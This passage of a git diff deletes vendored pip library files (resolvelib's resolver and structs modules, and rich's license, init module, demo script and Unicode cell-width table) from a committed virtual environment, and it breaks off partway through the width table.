self._optimistic_backjumping_ratio and self._save_states: - failed_optimistic_backjumping = True - else: - raise - else: - failed_optimistic_backjumping = bool( - not success - and self._optimistic_backjumping_ratio - and self._save_states - ) - - if failed_optimistic_backjumping and self._save_states: - self._rollback_states() - else: - self.state.backtrack_causes[:] = causes - - # Dead ends everywhere. Give up. - if not success: - raise ResolutionImpossible(self.state.backtrack_causes) - else: - # discard as information sources any invalidated names - # (unsatisfied names that were previously satisfied) - newly_unsatisfied_names = { - key - for key, criterion in self.state.criteria.items() - if key in satisfied_names - and not self._is_current_pin_satisfying(key, criterion) - } - self._remove_information_from_criteria( - self.state.criteria, newly_unsatisfied_names - ) - # Pinning was successful. Push a new state to do another pin. - self._push_new_state() - - self._r.ending_round(index=round_index, state=self.state) - - raise ResolutionTooDeep(max_rounds) - - -class Resolver(AbstractResolver[RT, CT, KT]): - """The thing that performs the actual resolution work.""" - - base_exception = ResolverException - - def resolve( # type: ignore[override] - self, - requirements: Iterable[RT], - max_rounds: int = 100, - ) -> Result[RT, CT, KT]: - """Take a collection of constraints, spit out the resolution result. - - The return value is a representation to the final resolution result. It - is a tuple subclass with three public members: - - * `mapping`: A dict of resolved candidates. Each key is an identifier - of a requirement (as returned by the provider's `identify` method), - and the value is the resolved candidate. - * `graph`: A `DirectedGraph` instance representing the dependency tree. - The vertices are keys of `mapping`, and each edge represents *why* - a particular package is included. A special vertex `None` is - included to represent parents of user-supplied requirements. - * `criteria`: A dict of "criteria" that hold detailed information on - how edges in the graph are derived. Each key is an identifier of a - requirement, and the value is a `Criterion` instance. - - The following exceptions may be raised if a resolution cannot be found: - - * `ResolutionImpossible`: A resolution cannot be found for the given - combination of requirements. The `causes` attribute of the - exception is a list of (requirement, parent), giving the - requirements that could not be satisfied. - * `ResolutionTooDeep`: The dependency tree is too deeply nested and - the resolver gave up. This is usually caused by a circular - dependency, but you can try to resolve this by increasing the - `max_rounds` argument. - """ - resolution = Resolution(self.provider, self.reporter) - state = resolution.resolve(requirements, max_rounds=max_rounds) - return _build_result(state) - - -def _has_route_to_root( - criteria: Mapping[KT, Criterion[RT, CT]], - key: KT | None, - all_keys: dict[int, KT | None], - connected: set[KT | None], -) -> bool: - if key in connected: - return True - if key not in criteria: - return False - assert key is not None - for p in criteria[key].iter_parent(): - try: - pkey = all_keys[id(p)] - except KeyError: - continue - if pkey in connected: - connected.add(key) - return True - if _has_route_to_root(criteria, pkey, all_keys, connected): - connected.add(key) - return True - return False diff --git a/venv/Lib/site-packages/pip/_vendor/resolvelib/structs.py b/venv/Lib/site-packages/pip/_vendor/resolvelib/structs.py deleted file mode 100644 index 18c74d415481f3caab86a190cca176635355bfcd..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/pip/_vendor/resolvelib/structs.py +++ /dev/null @@ -1,209 +0,0 @@ -from __future__ import annotations - -import itertools -from collections import namedtuple -from typing import ( - TYPE_CHECKING, - Callable, - Generic, - Iterable, - Iterator, - Mapping, - NamedTuple, - Sequence, - TypeVar, - Union, -) - -KT = TypeVar("KT") # Identifier. -RT = TypeVar("RT") # Requirement. -CT = TypeVar("CT") # Candidate. - -Matches = Union[Iterable[CT], Callable[[], Iterable[CT]]] - -if TYPE_CHECKING: - from .resolvers.criterion import Criterion - - class RequirementInformation(NamedTuple, Generic[RT, CT]): - requirement: RT - parent: CT | None - - class State(NamedTuple, Generic[RT, CT, KT]): - """Resolution state in a round.""" - - mapping: dict[KT, CT] - criteria: dict[KT, Criterion[RT, CT]] - backtrack_causes: list[RequirementInformation[RT, CT]] - -else: - RequirementInformation = namedtuple( - "RequirementInformation", ["requirement", "parent"] - ) - State = namedtuple("State", ["mapping", "criteria", "backtrack_causes"]) - - -class DirectedGraph(Generic[KT]): - """A graph structure with directed edges.""" - - def __init__(self) -> None: - self._vertices: set[KT] = set() - self._forwards: dict[KT, set[KT]] = {} # -> Set[] - self._backwards: dict[KT, set[KT]] = {} # -> Set[] - - def __iter__(self) -> Iterator[KT]: - return iter(self._vertices) - - def __len__(self) -> int: - return len(self._vertices) - - def __contains__(self, key: KT) -> bool: - return key in self._vertices - - def copy(self) -> DirectedGraph[KT]: - """Return a shallow copy of this graph.""" - other = type(self)() - other._vertices = set(self._vertices) - other._forwards = {k: set(v) for k, v in self._forwards.items()} - other._backwards = {k: set(v) for k, v in self._backwards.items()} - return other - - def add(self, key: KT) -> None: - """Add a new vertex to the graph.""" - if key in self._vertices: - raise ValueError("vertex exists") - self._vertices.add(key) - self._forwards[key] = set() - self._backwards[key] = set() - - def remove(self, key: KT) -> None: - """Remove a vertex from the graph, disconnecting all edges from/to it.""" - self._vertices.remove(key) - for f in self._forwards.pop(key): - self._backwards[f].remove(key) - for t in self._backwards.pop(key): - self._forwards[t].remove(key) - - def connected(self, f: KT, t: KT) -> bool: - return f in self._backwards[t] and t in self._forwards[f] - - def connect(self, f: KT, t: KT) -> None: - """Connect two existing vertices. - - Nothing happens if the vertices are already connected. - """ - if t not in self._vertices: - raise KeyError(t) - self._forwards[f].add(t) - self._backwards[t].add(f) - - def iter_edges(self) -> Iterator[tuple[KT, KT]]: - for f, children in self._forwards.items(): - for t in children: - yield f, t - - def iter_children(self, key: KT) -> Iterator[KT]: - return iter(self._forwards[key]) - - def iter_parents(self, key: KT) -> Iterator[KT]: - return iter(self._backwards[key]) - - -class IteratorMapping(Mapping[KT, Iterator[CT]], Generic[RT, CT, KT]): - def __init__( - self, - mapping: Mapping[KT, RT], - accessor: Callable[[RT], Iterable[CT]], - appends: Mapping[KT, Iterable[CT]] | None = None, - ) -> None: - self._mapping = mapping - self._accessor = accessor - self._appends: Mapping[KT, Iterable[CT]] = appends or {} - - def __repr__(self) -> str: - return "IteratorMapping({!r}, {!r}, {!r})".format( - self._mapping, - self._accessor, - self._appends, - ) - - def __bool__(self) -> bool: - return bool(self._mapping or self._appends) - - def __contains__(self, key: object) -> bool: - return key in self._mapping or key in self._appends - - def __getitem__(self, k: KT) -> Iterator[CT]: - try: - v = self._mapping[k] - except KeyError: - return iter(self._appends[k]) - return itertools.chain(self._accessor(v), self._appends.get(k, ())) - - def __iter__(self) -> Iterator[KT]: - more = (k for k in self._appends if k not in self._mapping) - return itertools.chain(self._mapping, more) - - def __len__(self) -> int: - more = sum(1 for k in self._appends if k not in self._mapping) - return len(self._mapping) + more - - -class _FactoryIterableView(Iterable[RT]): - """Wrap an iterator factory returned by `find_matches()`. - - Calling `iter()` on this class would invoke the underlying iterator - factory, making it a "collection with ordering" that can be iterated - through multiple times, but lacks random access methods presented in - built-in Python sequence types. - """ - - def __init__(self, factory: Callable[[], Iterable[RT]]) -> None: - self._factory = factory - self._iterable: Iterable[RT] | None = None - - def __repr__(self) -> str: - return f"{type(self).__name__}({list(self)})" - - def __bool__(self) -> bool: - try: - next(iter(self)) - except StopIteration: - return False - return True - - def __iter__(self) -> Iterator[RT]: - iterable = self._factory() if self._iterable is None else self._iterable - self._iterable, current = itertools.tee(iterable) - return current - - -class _SequenceIterableView(Iterable[RT]): - """Wrap an iterable returned by find_matches(). - - This is essentially just a proxy to the underlying sequence that provides - the same interface as `_FactoryIterableView`. - """ - - def __init__(self, sequence: Sequence[RT]): - self._sequence = sequence - - def __repr__(self) -> str: - return f"{type(self).__name__}({self._sequence})" - - def __bool__(self) -> bool: - return bool(self._sequence) - - def __iter__(self) -> Iterator[RT]: - return iter(self._sequence) - - -def build_iter_view(matches: Matches[CT]) -> Iterable[CT]: - """Build an iterable view from the value returned by `find_matches()`.""" - if callable(matches): - return _FactoryIterableView(matches) - if not isinstance(matches, Sequence): - matches = list(matches) - return _SequenceIterableView(matches) - - -IterableView = Iterable diff --git a/venv/Lib/site-packages/pip/_vendor/rich/LICENSE b/venv/Lib/site-packages/pip/_vendor/rich/LICENSE deleted file mode 100644 index 4415505566f261c802b671426be529a31f914137..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/pip/_vendor/rich/LICENSE +++ /dev/null @@ -1,19 +0,0 @@ -Copyright (c) 2020 Will McGugan - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is -furnished to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in all -copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE -SOFTWARE. diff --git a/venv/Lib/site-packages/pip/_vendor/rich/__init__.py b/venv/Lib/site-packages/pip/_vendor/rich/__init__.py deleted file mode 100644 index 73f58d7740813264d20047ffe918c82e1acc84eb..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/pip/_vendor/rich/__init__.py +++ /dev/null @@ -1,177 +0,0 @@ -"""Rich text and beautiful formatting in the terminal.""" - -import os -from typing import IO, TYPE_CHECKING, Any, Callable, Optional, Union - -from ._extension import load_ipython_extension # noqa: F401 - -__all__ = ["get_console", "reconfigure", "print", "inspect", "print_json"] - -if TYPE_CHECKING: - from .console import Console - -# Global console used by alternative print -_console: Optional["Console"] = None - -try: - _IMPORT_CWD = os.path.abspath(os.getcwd()) -except FileNotFoundError: - # Can happen if the cwd has been deleted - _IMPORT_CWD = "" - - -def get_console() -> "Console": - """Get a global :class:`~rich.console.Console` instance. This function is used when Rich requires a Console, - and hasn't been explicitly given one. - - Returns: - Console: A console instance. - """ - global _console - if _console is None: - from .console import Console - - _console = Console() - - return _console - - -def reconfigure(*args: Any, **kwargs: Any) -> None: - """Reconfigures the global console by replacing it with another. - - Args: - *args (Any): Positional arguments for the replacement :class:`~rich.console.Console`. - **kwargs (Any): Keyword arguments for the replacement :class:`~rich.console.Console`. - """ - from pip._vendor.rich.console import Console - - new_console = Console(*args, **kwargs) - _console = get_console() - _console.__dict__ = new_console.__dict__ - - -def print( - *objects: Any, - sep: str = " ", - end: str = "\n", - file: Optional[IO[str]] = None, - flush: bool = False, -) -> None: - r"""Print object(s) supplied via positional arguments. - This function has an identical signature to the built-in print. - For more advanced features, see the :class:`~rich.console.Console` class. - - Args: - sep (str, optional): Separator between printed objects. Defaults to " ". - end (str, optional): Character to write at end of output. Defaults to "\\n". - file (IO[str], optional): File to write to, or None for stdout. Defaults to None. - flush (bool, optional): Has no effect as Rich always flushes output. Defaults to False. - - """ - from .console import Console - - write_console = get_console() if file is None else Console(file=file) - return write_console.print(*objects, sep=sep, end=end) - - -def print_json( - json: Optional[str] = None, - *, - data: Any = None, - indent: Union[None, int, str] = 2, - highlight: bool = True, - skip_keys: bool = False, - ensure_ascii: bool = False, - check_circular: bool = True, - allow_nan: bool = True, - default: Optional[Callable[[Any], Any]] = None, - sort_keys: bool = False, -) -> None: - """Pretty prints JSON. Output will be valid JSON. - - Args: - json (str): A string containing JSON. - data (Any): If json is not supplied, then encode this data. - indent (int, optional): Number of spaces to indent. Defaults to 2. - highlight (bool, optional): Enable highlighting of output: Defaults to True. - skip_keys (bool, optional): Skip keys not of a basic type. Defaults to False. - ensure_ascii (bool, optional): Escape all non-ascii characters. Defaults to False. - check_circular (bool, optional): Check for circular references. Defaults to True. - allow_nan (bool, optional): Allow NaN and Infinity values. Defaults to True. - default (Callable, optional): A callable that converts values that can not be encoded - in to something that can be JSON encoded. Defaults to None. - sort_keys (bool, optional): Sort dictionary keys. Defaults to False. - """ - - get_console().print_json( - json, - data=data, - indent=indent, - highlight=highlight, - skip_keys=skip_keys, - ensure_ascii=ensure_ascii, - check_circular=check_circular, - allow_nan=allow_nan, - default=default, - sort_keys=sort_keys, - ) - - -def inspect( - obj: Any, - *, - console: Optional["Console"] = None, - title: Optional[str] = None, - help: bool = False, - methods: bool = False, - docs: bool = True, - private: bool = False, - dunder: bool = False, - sort: bool = True, - all: bool = False, - value: bool = True, -) -> None: - """Inspect any Python object. - - * inspect() to see summarized info. - * inspect(, methods=True) to see methods. - * inspect(, help=True) to see full (non-abbreviated) help. - * inspect(, private=True) to see private attributes (single underscore). - * inspect(, dunder=True) to see attributes beginning with double underscore. - * inspect(, all=True) to see all attributes. - - Args: - obj (Any): An object to inspect. - title (str, optional): Title to display over inspect result, or None use type. Defaults to None. - help (bool, optional): Show full help text rather than just first paragraph. Defaults to False. - methods (bool, optional): Enable inspection of callables. Defaults to False. - docs (bool, optional): Also render doc strings. Defaults to True. - private (bool, optional): Show private attributes (beginning with underscore). Defaults to False. - dunder (bool, optional): Show attributes starting with double underscore. Defaults to False. - sort (bool, optional): Sort attributes alphabetically. Defaults to True. - all (bool, optional): Show all attributes. Defaults to False. - value (bool, optional): Pretty print value. Defaults to True. - """ - _console = console or get_console() - from pip._vendor.rich._inspect import Inspect - - # Special case for inspect(inspect) - is_inspect = obj is inspect - - _inspect = Inspect( - obj, - title=title, - help=is_inspect or help, - methods=is_inspect or methods, - docs=is_inspect or docs, - private=private, - dunder=dunder, - sort=sort, - all=all, - value=value, - ) - _console.print(_inspect) - - -if __name__ == "__main__": # pragma: no cover - print("Hello, **World**") diff --git a/venv/Lib/site-packages/pip/_vendor/rich/__main__.py b/venv/Lib/site-packages/pip/_vendor/rich/__main__.py deleted file mode 100644 index a583f1efae351e9a7ed636e1460577580dc4c6b1..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/pip/_vendor/rich/__main__.py +++ /dev/null @@ -1,245 +0,0 @@ -import colorsys -import io -from time import process_time - -from pip._vendor.rich import box -from pip._vendor.rich.color import Color -from pip._vendor.rich.console import Console, ConsoleOptions, Group, RenderableType, RenderResult -from pip._vendor.rich.markdown import Markdown -from pip._vendor.rich.measure import Measurement -from pip._vendor.rich.pretty import Pretty -from pip._vendor.rich.segment import Segment -from pip._vendor.rich.style import Style -from pip._vendor.rich.syntax import Syntax -from pip._vendor.rich.table import Table -from pip._vendor.rich.text import Text - - -class ColorBox: - def __rich_console__( - self, console: Console, options: ConsoleOptions - ) -> RenderResult: - for y in range(0, 5): - for x in range(options.max_width): - h = x / options.max_width - l = 0.1 + ((y / 5) * 0.7) - r1, g1, b1 = colorsys.hls_to_rgb(h, l, 1.0) - r2, g2, b2 = colorsys.hls_to_rgb(h, l + 0.7 / 10, 1.0) - bgcolor = Color.from_rgb(r1 * 255, g1 * 255, b1 * 255) - color = Color.from_rgb(r2 * 255, g2 * 255, b2 * 255) - yield Segment("▄", Style(color=color, bgcolor=bgcolor)) - yield Segment.line() - - def __rich_measure__( - self, console: "Console", options: ConsoleOptions - ) -> Measurement: - return Measurement(1, options.max_width) - - -def make_test_card() -> Table: - """Get a renderable that demonstrates a number of features.""" - table = Table.grid(padding=1, pad_edge=True) - table.title = "Rich features" - table.add_column("Feature", no_wrap=True, justify="center", style="bold red") - table.add_column("Demonstration") - - color_table = Table( - box=None, - expand=False, - show_header=False, - show_edge=False, - pad_edge=False, - ) - color_table.add_row( - ( - "✓ [bold green]4-bit color[/]\n" - "✓ [bold blue]8-bit color[/]\n" - "✓ [bold magenta]Truecolor (16.7 million)[/]\n" - "✓ [bold yellow]Dumb terminals[/]\n" - "✓ [bold cyan]Automatic color conversion" - ), - ColorBox(), - ) - - table.add_row("Colors", color_table) - - table.add_row( - "Styles", - "All ansi styles: [bold]bold[/], [dim]dim[/], [italic]italic[/italic], [underline]underline[/], [strike]strikethrough[/], [reverse]reverse[/], and even [blink]blink[/].", - ) - - lorem = "Lorem ipsum dolor sit amet, consectetur adipiscing elit. Quisque in metus sed sapien ultricies pretium a at justo. Maecenas luctus velit et auctor maximus." - lorem_table = Table.grid(padding=1, collapse_padding=True) - lorem_table.pad_edge = False - lorem_table.add_row( - Text(lorem, justify="left", style="green"), - Text(lorem, justify="center", style="yellow"), - Text(lorem, justify="right", style="blue"), - Text(lorem, justify="full", style="red"), - ) - table.add_row( - "Text", - Group( - Text.from_markup( - """Word wrap text. Justify [green]left[/], [yellow]center[/], [blue]right[/] or [red]full[/].\n""" - ), - lorem_table, - ), - ) - - def comparison(renderable1: RenderableType, renderable2: RenderableType) -> Table: - table = Table(show_header=False, pad_edge=False, box=None, expand=True) - table.add_column("1", ratio=1) - table.add_column("2", ratio=1) - table.add_row(renderable1, renderable2) - return table - - table.add_row( - "Asian\nlanguage\nsupport", - ":flag_for_china: 该库支持中文,日文和韩文文本!\n:flag_for_japan: ライブラリは中国語、日本語、韓国語のテキストをサポートしています\n:flag_for_south_korea: 이 라이브러리는 중국어, 일본어 및 한국어 텍스트를 지원합니다", - ) - - markup_example = ( - "[bold magenta]Rich[/] supports a simple [i]bbcode[/i]-like [b]markup[/b] for [yellow]color[/], [underline]style[/], and emoji! " - ":+1: :apple: :ant: :bear: :baguette_bread: :bus: " - ) - table.add_row("Markup", markup_example) - - example_table = Table( - show_edge=False, - show_header=True, - expand=False, - row_styles=["none", "dim"], - box=box.SIMPLE, - ) - example_table.add_column("[green]Date", style="green", no_wrap=True) - example_table.add_column("[blue]Title", style="blue") - example_table.add_column( - "[cyan]Production Budget", - style="cyan", - justify="right", - no_wrap=True, - ) - example_table.add_column( - "[magenta]Box Office", - style="magenta", - justify="right", - no_wrap=True, - ) - example_table.add_row( - "Dec 20, 2019", - "Star Wars: The Rise of Skywalker", - "$275,000,000", - "$375,126,118", - ) - example_table.add_row( - "May 25, 2018", - "[b]Solo[/]: A Star Wars Story", - "$275,000,000", - "$393,151,347", - ) - example_table.add_row( - "Dec 15, 2017", - "Star Wars Ep. VIII: The Last Jedi", - "$262,000,000", - "[bold]$1,332,539,889[/bold]", - ) - example_table.add_row( - "May 19, 1999", - "Star Wars Ep. [b]I[/b]: [i]The phantom Menace", - "$115,000,000", - "$1,027,044,677", - ) - - table.add_row("Tables", example_table) - - code = '''\ -def iter_last(values: Iterable[T]) -> Iterable[Tuple[bool, T]]: - """Iterate and generate a tuple with a flag for last value.""" - iter_values = iter(values) - try: - previous_value = next(iter_values) - except StopIteration: - return - for value in iter_values: - yield False, previous_value - previous_value = value - yield True, previous_value''' - - pretty_data = { - "foo": [ - 3.1427, - ( - "Paul Atreides", - "Vladimir Harkonnen", - "Thufir Hawat", - ), - ], - "atomic": (False, True, None), - } - table.add_row( - "Syntax\nhighlighting\n&\npretty\nprinting", - comparison( - Syntax(code, "python3", line_numbers=True, indent_guides=True), - Pretty(pretty_data, indent_guides=True), - ), - ) - - markdown_example = """\ -# Markdown - -Supports much of the *markdown* __syntax__! - -- Headers -- Basic formatting: **bold**, *italic*, `code` -- Block quotes -- Lists, and more... - """ - table.add_row( - "Markdown", comparison("[cyan]" + markdown_example, Markdown(markdown_example)) - ) - - table.add_row( - "+more!", - """Progress bars, columns, styled logging handler, tracebacks, etc...""", - ) - return table - - -if __name__ == "__main__": # pragma: no cover - from pip._vendor.rich.panel import Panel - - console = Console( - file=io.StringIO(), - force_terminal=True, - ) - test_card = make_test_card() - - # Print once to warm cache - start = process_time() - console.print(test_card) - pre_cache_taken = round((process_time() - start) * 1000.0, 1) - - console.file = io.StringIO() - - start = process_time() - console.print(test_card) - taken = round((process_time() - start) * 1000.0, 1) - - c = Console(record=True) - c.print(test_card) - - console = Console() - console.print(f"[dim]rendered in [not dim]{pre_cache_taken}ms[/] (cold cache)") - console.print(f"[dim]rendered in [not dim]{taken}ms[/] (warm cache)") - console.print() - console.print( - Panel.fit( - "[b magenta]Hope you enjoy using Rich![/]\n\n" - "Please consider sponsoring me if you get value from my work.\n\n" - "Even the price of a ☕ can brighten my day!\n\n" - "https://github.com/sponsors/willmcgugan", - border_style="red", - title="Help ensure Rich is maintained", - ) - ) diff --git a/venv/Lib/site-packages/pip/_vendor/rich/_cell_widths.py b/venv/Lib/site-packages/pip/_vendor/rich/_cell_widths.py deleted file mode 100644 index 608ae3a75d16ef5af4a6afcc1958b03239f2067e..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/pip/_vendor/rich/_cell_widths.py +++ /dev/null @@ -1,454 +0,0 @@ -# Auto generated by make_terminal_widths.py - -CELL_WIDTHS = [ - (0, 0, 0), - (1, 31, -1), - (127, 159, -1), - (173, 173, 0), - (768, 879, 0), - (1155, 1161, 0), - (1425, 1469, 0), - (1471, 1471, 0), - (1473, 1474, 0), - (1476, 1477, 0), - (1479, 1479, 0), - (1536, 1541, 0), - (1552, 1562, 0), - (1564, 1564, 0), - (1611, 1631, 0), - (1648, 1648, 0), - (1750, 1757, 0), - (1759, 1764, 0), - (1767, 1768, 0), - (1770, 1773, 0), - (1807, 1807, 0), - (1809, 1809, 0), - (1840, 1866, 0), - (1958, 1968, 0), - (2027, 2035, 0), - (2045, 2045, 0), - (2070, 2073, 0), - (2075, 2083, 0), - (2085, 2087, 0), - (2089, 2093, 0), - (2137, 2139, 0), - (2192, 2193, 0), - (2200, 2207, 0), - (2250, 2307, 0), - (2362, 2364, 0), - (2366, 2383, 0), - (2385, 2391, 0), - (2402, 2403, 0), - (2433, 2435, 0), - (2492, 2492, 0), - (2494, 2500, 0), - (2503, 2504, 0), - (2507, 2509, 0), - (2519, 2519, 0), - (2530, 2531, 0), - (2558, 2558, 0), - (2561, 2563, 0), - (2620, 2620, 0), - (2622, 2626, 0), - (2631, 2632, 0), - (2635, 2637, 0), - (2641, 2641, 0), - (2672, 2673, 0), - (2677, 2677, 0), - (2689, 2691, 0), - (2748, 2748, 0), - (2750, 2757, 0), - (2759, 2761, 0), - (2763, 2765, 0), - (2786, 2787, 0), - (2810, 2815, 0), - (2817, 2819, 0), - (2876, 2876, 0), - (2878, 2884, 0), - (2887, 2888, 0), - (2891, 2893, 0), - (2901, 2903, 0), - (2914, 2915, 0), - (2946, 2946, 0), - (3006, 3010, 0), - (3014, 3016, 0), - (3018, 3021, 0), - (3031, 3031, 0), - (3072, 3076, 0), - (3132, 3132, 0), - (3134, 3140, 0), - (3142, 3144, 0), - (3146, 3149, 0), - (3157, 3158, 0), - (3170, 3171, 0), - (3201, 3203, 0), - (3260, 3260, 0), - (3262, 3268, 0), - (3270, 3272, 0), - (3274, 3277, 0), - (3285, 3286, 0), - (3298, 3299, 0), - (3315, 3315, 0), - (3328, 3331, 0), - (3387, 3388, 0), - (3390, 3396, 0), - (3398, 3400, 0), - (3402, 3405, 0), - (3415, 3415, 0), - (3426, 3427, 0), - (3457, 3459, 0), - (3530, 3530, 0), - (3535, 3540, 0), - (3542, 3542, 0), - (3544, 3551, 0), - (3570, 3571, 0), - (3633, 3633, 0), - (3636, 3642, 0), - (3655, 3662, 0), - (3761, 3761, 0), - (3764, 3772, 0), - (3784, 3790, 0), - (3864, 3865, 0), - (3893, 3893, 0), - (3895, 3895, 0), - (3897, 3897, 0), - (3902, 3903, 0), - (3953, 3972, 0), - (3974, 3975, 0), - (3981, 3991, 0), - (3993, 4028, 0), - (4038, 4038, 0), - (4139, 4158, 0), - (4182, 4185, 0), - (4190, 4192, 0), - (4194, 4196, 0), - (4199, 4205, 0), - (4209, 4212, 0), - (4226, 4237, 0), - (4239, 4239, 0), - (4250, 4253, 0), - (4352, 4447, 2), - (4448, 4607, 0), - (4957, 4959, 0), - (5906, 5909, 0), - (5938, 5940, 0), - (5970, 5971, 0), - (6002, 6003, 0), - (6068, 6099, 0), - (6109, 6109, 0), - (6155, 6159, 0), - (6277, 6278, 0), - (6313, 6313, 0), - (6432, 6443, 0), - (6448, 6459, 0), - (6679, 6683, 0), - (6741, 6750, 0), - (6752, 6780, 0), - (6783, 6783, 0), - (6832, 6862, 0), - (6912, 6916, 0), - (6964, 6980, 0), - (7019, 7027, 0), - (7040, 7042, 0), - (7073, 7085, 0), - (7142, 7155, 0), - (7204, 7223, 0), - (7376, 7378, 0), - (7380, 7400, 0), - (7405, 7405, 0), - (7412, 7412, 0), - (7415, 7417, 0), - (7616, 7679, 0), - (8203, 8207, 0), - (8232, 8238, 0), - (8288, 8292, 0), - (8294, 8303, 0), - (8400, 8432, 0), - (8986, 8987, 2), - (9001, 9002, 2), - (9193, 9196, 2), - (9200, 9200, 2), - (9203, 9203, 2), - (9725, 9726, 2), - (9748, 9749, 2), - (9800, 9811, 2), - (9855, 9855, 2), - (9875, 9875, 2), - (9889, 9889, 2), - (9898, 9899, 2), - (9917, 9918, 2), - (9924, 9925, 2), - (9934, 9934, 2), - (9940, 9940, 2), - (9962, 9962, 2), - (9970, 9971, 2), - (9973, 9973, 2), - (9978, 9978, 2), - (9981, 9981, 2), - (9989, 9989, 2), - (9994, 9995, 2), - (10024, 10024, 2), - (10060, 10060, 2), - (10062, 10062, 2), - (10067, 10069, 2), - (10071, 10071, 2), - (10133, 10135, 2), - (10160, 10160, 2), - (10175, 10175, 2), - (11035, 11036, 2), - (11088, 11088, 2), - (11093, 11093, 2), - (11503, 11505, 0), - (11647, 11647, 0), - (11744, 11775, 0), - (11904, 11929, 2), - (11931, 12019, 2), - (12032, 12245, 2), - (12272, 12329, 2), - (12330, 12335, 0), - (12336, 12350, 2), - (12353, 12438, 2), - (12441, 12442, 0), - (12443, 12543, 2), - (12549, 12591, 2), - (12593, 12686, 2), - (12688, 12771, 2), - (12783, 12830, 2), - (12832, 12871, 2), - (12880, 19903, 2), - (19968, 42124, 2), - (42128, 42182, 2), - (42607, 42610, 0), - (42612, 42621, 0), - (42654, 42655, 0), - (42736, 42737, 0), - (43010, 43010, 0), - (43014, 43014, 0), - (43019, 43019, 0), - (43043, 43047, 0), - (43052, 43052, 0), - (43136, 43137, 0), - (43188, 43205, 0), - (43232, 43249, 0), - (43263, 43263, 0), - (43302, 43309, 0), - (43335, 43347, 0), - (43360, 43388, 2), - (43392, 43395, 0), - (43443, 43456, 0), - (43493, 43493, 0), - (43561, 43574, 0), - (43587, 43587, 0), - (43596, 43597, 0), - (43643, 43645, 0), - (43696, 43696, 0), - (43698, 43700, 0), - (43703, 43704, 0), - (43710, 43711, 0), - (43713, 43713, 0), - (43755, 43759, 0), - (43765, 43766, 0), - (44003, 44010, 0), - (44012, 44013, 0), - (44032, 55203, 2), - (55216, 55295, 0), - (63744, 64255, 2), - (64286, 64286, 0), - (65024, 65039, 0), - (65040, 65049, 2), - (65056, 65071, 0), - (65072, 65106, 2), - (65108, 65126, 2), - (65128, 65131, 2), - (65279, 65279, 0), - (65281, 65376, 2), - (65504, 65510, 2), - (65529, 65531, 0), - (66045, 66045, 0), - (66272, 66272, 0), - (66422, 66426, 0), - (68097, 68099, 0), - (68101, 68102, 0), - (68108, 68111, 0), - (68152, 68154, 0), - (68159, 68159, 0), - (68325, 68326, 0), - (68900, 68903, 0), - (69291, 69292, 0), - (69373, 69375, 0), - (69446, 69456, 0), - (69506, 69509, 0), - (69632, 69634, 0), - (69688, 69702, 0), - (69744, 69744, 0), - (69747, 69748, 0), - (69759, 69762, 0), - (69808, 69818, 0), - (69821, 69821, 0), - (69826, 69826, 0), - (69837, 69837, 0), - (69888, 69890, 0), - (69927, 69940, 0), - (69957, 69958, 0), - (70003, 70003, 0), - (70016, 70018, 0), - (70067, 70080, 0), - (70089, 70092, 0), - (70094, 70095, 0), - (70188, 70199, 0), - (70206, 70206, 0), - (70209, 70209, 0), - (70367, 70378, 0), - (70400, 70403, 0), - (70459, 70460, 0), - (70462, 70468, 0), - (70471, 70472, 0), - (70475, 70477, 0), - (70487, 70487, 0), - (70498, 70499, 0), - (70502, 70508, 0), - (70512, 70516, 0), - (70709, 70726, 0), - (70750, 70750, 0), - (70832, 70851, 0), - (71087, 71093, 0), - (71096, 71104, 0), - (71132, 71133, 0), - (71216, 71232, 0), - (71339, 71351, 0), - (71453, 71467, 0), - (71724, 71738, 0), - (71984, 71989, 0), - (71991, 71992, 0), - (71995, 71998, 0), - (72000, 72000, 0), - (72002, 72003, 0), - (72145, 72151, 0), - (72154, 72160, 0), - (72164, 72164, 0), - (72193, 72202, 0), - (72243, 72249, 0), - (72251, 72254, 0), - (72263, 72263, 0), - (72273, 72283, 0), - (72330, 72345, 0), - (72751, 72758, 0), - (72760, 72767, 0), - (72850, 72871, 0), - (72873, 72886, 0), - (73009, 73014, 0), - (73018, 73018, 0), - (73020, 73021, 0), - (73023, 73029, 0), - (73031, 73031, 0), - (73098, 73102, 0), - (73104, 73105, 0), - (73107, 73111, 0), - (73459, 73462, 0), - (73472, 73473, 0), - (73475, 73475, 0), - (73524, 73530, 0), - (73534, 73538, 0), - (78896, 78912, 0), - (78919, 78933, 0), - (92912, 92916, 0), - (92976, 92982, 0), - (94031, 94031, 0), - (94033, 94087, 0), - (94095, 94098, 0), - (94176, 94179, 2), - (94180, 94180, 0), - (94192, 94193, 0), - (94208, 100343, 2), - (100352, 101589, 2), - (101632, 101640, 2), - (110576, 110579, 2), - (110581, 110587, 2), - (110589, 110590, 2), - (110592, 110882, 2), - (110898, 110898, 2), - (110928, 110930, 2), - (110933, 110933, 2), - (110948, 110951, 2), - (110960, 111355, 2), - (113821, 113822, 0), - (113824, 113827, 0), - (118528, 118573, 0), - (118576, 118598, 0), - (119141, 119145, 0), - (119149, 119170, 0), - (119173, 119179, 0), - (119210, 119213, 0), - (119362, 119364, 0), - (121344, 121398, 0), - (121403, 121452, 0), - (121461, 121461, 0), - (121476, 121476, 0), - (121499, 121503, 0), - (121505, 121519, 0), - (122880, 122886, 0), - (122888, 122904, 0), - (122907, 122913, 0), - (122915, 122916, 0), - (122918, 122922, 0), - (123023, 123023, 0), - (123184, 123190, 